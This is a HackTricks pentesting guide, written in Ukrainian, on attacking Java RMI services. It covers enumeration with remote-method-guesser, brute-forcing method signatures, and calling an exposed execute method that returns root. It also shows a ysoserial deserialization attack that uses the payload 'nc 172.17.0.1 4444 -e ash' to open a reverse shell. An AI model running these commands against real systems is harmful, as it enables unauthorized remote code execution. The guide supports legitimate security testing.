1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів за допомогою найбільш продвинутих інструментів спільноти у світі. Отримайте доступ сьогодні:

Основна інформація

Java Remote Method Invocation, або Java RMI, - це механізм об'єктно-орієнтованого RPC, який дозволяє об'єкту, розташованому в одній Java віртуальній машині, викликати методи об'єкту, розташованого в іншій Java віртуальній машині. Це дозволяє розробникам писати розподілені застосунки, використовуючи об'єктно-орієнтовану парадигму. Короткий огляд Java RMI з офенсивної точки зору можна знайти в цьому відео на BlackHat.

Порт за замовчуванням: 1090,1098,1099,1199,4443-4446,8999-9010,9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

Зазвичай лише стандартні компоненти Java RMI (реєстр RMI та система активації) прив'язані до загальних портів. Віддалені об'єкти, які реалізують фактичний додаток RMI, зазвичай прив'язані до випадкових портів, як показано у вищезазначеному виводі.

nmap іноді має проблеми з ідентифікацією служб SSL захищених RMI. Якщо ви зіткнетеся з невідомою службою ssl на загальному порті RMI, вам слід провести подальше розслідування.

Компоненти RMI

У простих термінах Java RMI дозволяє розробнику зробити Java об'єкт доступним у мережі. Це відкриває TCP порт, на який клієнти можуть підключатися та викликати методи відповідного об'єкта. Незважаючи на те, що це звучить просто, є кілька викликів, які Java RMI повинна вирішити:

  1. Для виклику методу через Java RMI клієнти повинні знати IP-адресу, порт прослуховування, реалізований клас або інтерфейс та ObjID цільового об'єкта ( ObjID - це унікальний та випадковий ідентифікатор, який створюється, коли об'єкт стає доступним у мережі. Це необхідно, оскільки Java RMI дозволяє декільком об'єктам прослуховувати один і той же TCP порт).

  2. Віддалені клієнти можуть виділяти ресурси на сервері, викликаючи методи на відкритому об'єкті. Java віртуальна машина повинна відстежувати, які з цих ресурсів все ще використовуються, а які можуть бути зібрані сміттям.

Перший виклик вирішується реєстром RMI, який по суті є службою імен для Java RMI. Сам реєстр RMI також є RMI службою, але реалізований інтерфейс та ObjID фіксовані та відомі всім клієнтам RMI. Це дозволяє клієнтам RMI використовувати реєстр RMI, просто знаючи відповідний TCP порт.

Коли розробники хочуть зробити свої Java об'єкти доступними в мережі, вони зазвичай прив'язують їх до реєстру RMI. Реєстр зберігає всю необхідну інформацію для підключення до об'єкта (IP-адреса, порт прослуховування, реалізований клас або інтерфейс та значення ObjID) та робить її доступною під читабельним ім'ям ( прив'язане ім'я). Клієнти, які хочуть використовувати RMI службу, запитують реєстр RMI про відповідне прив'язане ім'я, і реєстр повертає всю необхідну інформацію для підключення. Таким чином, ситуація в основному така ж, як і зі звичайною службою DNS. У наведеному нижче прикладі показано невеликий приклад:

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

Друге з вищезгаданих завдань вирішується Розподіленим збирачем сміття (DGC). Це ще один RMI сервіс з відомим значенням ObjID, який доступний практично на кожній RMI точці доступу. Коли RMI клієнт починає використовувати RMI сервіс, він надсилає інформацію до DGC, що відповідний віддалений об'єкт використовується. DGC може відстежувати кількість посилань та видаляти невикористані об'єкти.

Разом із застарілою Системою активації, це три типові компоненти Java RMI:

  1. Реєстр RMI (ObjID = 0)

  2. Система активації (ObjID = 1)

  3. Розподілений збирач сміття (ObjID = 2)

Типові компоненти Java RMI відомі як вектори атак вже досить довгий час, і існує кілька вразливостей у застарілих версіях Java. З точки зору атакувальника ці типові компоненти цікаві, оскільки вони реалізовані відомими класами / інтерфейсами, і з ними легко взаємодіяти. Ця ситуація відрізняється для власних RMI сервісів. Щоб викликати метод на віддаленому об'єкті, потрібно заздалегідь знати відповідну сигнатуру методу. Без знання існуючої сигнатури методу немає способу спілкуватися з RMI сервісом.

Перелік RMI

remote-method-guesser - це сканер вразливостей Java RMI, який може автоматично ідентифікувати загальні вразливості RMI. Кожного разу, коли ви виявляєте RMI точку доступу, вам варто спробувати це зробити:

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

Вивід дії переліку пояснюється докладніше на сторінках документації проекту. Залежно від результату, вам слід спробувати підтвердити виявлені вразливості.

Значення ObjID, відображені remote-method-guesser, можуть бути використані для визначення часу роботи служби. Це може допомогти виявити інші вразливості:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

Перебір віддалених методів

Навіть якщо під час переліку не було виявлено жодних вразливостей, доступні служби RMI все одно можуть викривати небезпечні функції. Крім того, незважаючи на те, що комунікація RMI з RMI стандартними компонентами захищена фільтрами десеріалізації, при спілкуванні з власними RMI службами такі фільтри, як правило, відсутні. Знання дійсних сигнатур методів на RMI службах, отже, є цінним.

На жаль, Java RMI не підтримує перелік методів на віддалених об'єктах. Тим не менш, можливо перебирати сигнатури методів за допомогою інструментів, таких як remote-method-guesser або rmiscout:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

Ідентифіковані методи можна викликати так:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

Або ви можете виконати атаки десеріалізації таким чином:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

Додаткову інформацію можна знайти в цих статтях:

Крім вгадування, варто також шукати в пошукових системах або на GitHub інтерфейс або навіть реалізацію зустріченої служби RMI. Тут можуть бути корисними bound name та назва реалізованого класу або інтерфейсу.

Відомі інтерфейси

remote-method-guesser позначає класи або інтерфейси як відомі, якщо вони перелічені внутрішній базі даних відомих RMI сервісів інструменту. У цих випадках ви можете використовувати дію відомий, щоб отримати більше інформації про відповідний RMI сервіс:

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

Інструменти

Посилання

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}

Використовуйте Trickest для легкої побудови та автоматизації робочих процесів, які працюють на найбільш продвинутих інструментах спільноти у світі. Отримайте доступ сьогодні:

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated